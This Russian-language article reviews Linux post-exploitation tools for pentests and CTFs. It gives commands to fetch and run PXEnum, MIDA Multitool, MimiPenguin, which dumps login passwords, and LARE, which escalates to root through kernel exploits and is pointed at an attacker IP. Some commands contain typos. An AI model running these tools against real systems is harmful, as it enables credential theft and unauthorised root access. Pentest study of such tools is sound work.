Друзья, сегодня минимум слов, максимум дела! В материале ниже будем смотреть инструменты пост-эксплуатации для систем Linux! Что можно сделать после того как ты уже прорвался во внутренний периметр сети, или, как на CTF-соревнованиях, когда ты получил доступ к уязвимой тачке и готов броситься в бой дальше!
Пост-эксплуатация в практике пен-теста
Пост-эксплуатация (англ. post-explotation) — это то, что можно сделать с целевой системой после того, как удалось найти уязвимость и выполнить какой-то участок кода на целевой системе. Так же под этим термином понимается один из этапов взлома компьютерных систем (фаза) позволяющая собирать дальнейшую информацию о целевой системе, получить дальнейший доступ к сети и хранящимся данным. Фаза пост-эксплуатации позволяет идентифицировать такие вещи, как дополнительные подсети, маршрутизаторы, названия серверов, сетевых служб и установленных приложений.
Основные паттерны, по которым работают злоумышленники на этапе пост-эксплуатации:
получить доступ на выполнение произвольного кода\команд
изучение данных, хранящихся на сервере
перехват данных, которых нет на системе сейчас, но они могут появиться в будущем
организация перманентного доступа к целевой системе
эскалация привилегий до уровня системы для непривилегированной учетной записи
Дополнительно, хакер может получать информацию о скомпрометированной системе, анализируя следующие параметры:
конфигурацию системы (логин и пароль к БД в исходных кодах)
конфигурацию веб-сервера (например, httpd.conf, .htaccess)
исходные коды приложения (поиск уязвимостей, анализируя логику приложения)
доступы к окружению (находясь внутри сети может быть проще попасть на соседние сервера и изолированные сегменты подсети)
базы данных (аутентификационная информация к другим системам, хранящаяся в них)
Обзор инструментов пост-эксплуатации
Мы же в материале сделаем акцент на рассмотрение инструментов пост-эксплуатации исключительно под Linux-системы.
1. PXEenum — полное перечисление всего что есть в системе
Основной задачей данного скрипта является функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Данный скрипт создан, если не сказать, что создан для лентяев то для тех, кто ценит свое время.
Для запуска он не требует прав root’а, работает в стандартном терминале.
# wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh
Установка:
# git clone https://github.com/shawnduong/PXEnum.git
# cd PXEnum/
# chmod +x PXEnum.sh
# bash PXEnum.sh
2. MIDA Multitool — палим систему по взрослому
Другой интересный инструмент MIDA Multitool созданный на базе менее именитых собратьев SysEnum и RootHelper, но включающий в себя гораздо больший функционал. По воле разработчика функционал MIDA Multitool включает в себя отдельные функции своих предшественников под одним капотом, а именно:
SysEnum — Bash скрипт, предназначенный для получения основной информацию о системе, включая, но не ограничиваясь следующими данными — текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы и т.д.
Roothelper — призван помочь в процессе эскалации привилегий в системе, которая была скомпрометирована, путем выполнения ряда перечислений и использования доверительных сценариев.
Устанавливаем скрипт в систему с github:
# git clone https://github.com/NullArray/Bash-Kit-Multitool
# cd Bash-Kit-Multitool
# chmod +x bashkit.sh
Запускаем скрипт:
# /.bashkit.sh
Дело сделано! Можно запускать в системе!
3. MimiPenguin — пиздим пароли без зазрения совести
Очень хорошо известный скрипт в узких кругах пен-тестеров под названием MimiPenguin. основной задачей утилиты служит сброса пароля на вход в систему от текущего пользователя Linux. Если такое сравнение возможно то это аналог утилиты mimikatz для дампа пароля в Windows системах (о ней мы уже рассказывали в одной из наших прошлых статей)
Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), популярнейший web-сервер Apache2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и openssh-сервер (активные подключения SSH с использованием команды sudo). И вообще необходимо сказать, что MimiPenguin часто становится частью эксплойтов под Linux.
Устанавливаем MimiPenguin забирая его с репозитория GitHub:
# git clone https://github.com/huntergregal/mimipenguin
# cd mimipenguin
# ls –a
# chmod +x mimipenguin.sh
# ./mimipenguin.sh
4. LARE — ломимся под рута используя баги ядра
И напоследок еще один довольно простой скрипт, который помогает с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплойты для получения root прав для версий ядра Linux Kernel v2.6-v4.8.
Кстати, эта тулза очень часто находит свое применение на пиздатом сертификационном экзамене OSCP.
Устанавливаем скрипт в систему:
# git clone https://github.com/EnigmaDimitri/LARE && cd LARE
# chmod +x LARA.sh
# LARE.sh -a
Запуск скрипта на целевой машине в сети
# LARE.sh -l [Attackers-IP]
Запуск на машине с подключением к базе данных эксплойтов на GitHub
# LARE.sh -l or ./LARE.sh -l
Проверка и защита системы от техник пост-эксплуатации
Для обеспечения безопасности системы на предмет пост-эксплуатации, по мимо традиционных вариантов защиты как то установка патчей (security patch) и минимизация привилегий, дополнительно существуют специальные тулзы для проверки системы. Ведь в противовес неправильно сложившегося мнения, к пост-эксплуатации не обязательно ведут только 0-day или устаревший софт,
А вот их обзор читай в материале на страницах журнала ][акер!
Заключение
Сегодня мы кратко рассмотрели самые популярные и проверенные в практике пен-теста рабочие инструменты, используемые на фазе пост-эксплуатации для серверов под управлением Linux! Как видишь, нет ничего абсолютно защищенного. Эти знания, я надеюсь, пригодится тебе и на CTF и для пен-теста свойственной корпоративной сети и развития общего понимания практики обеспечения раальной ИБ.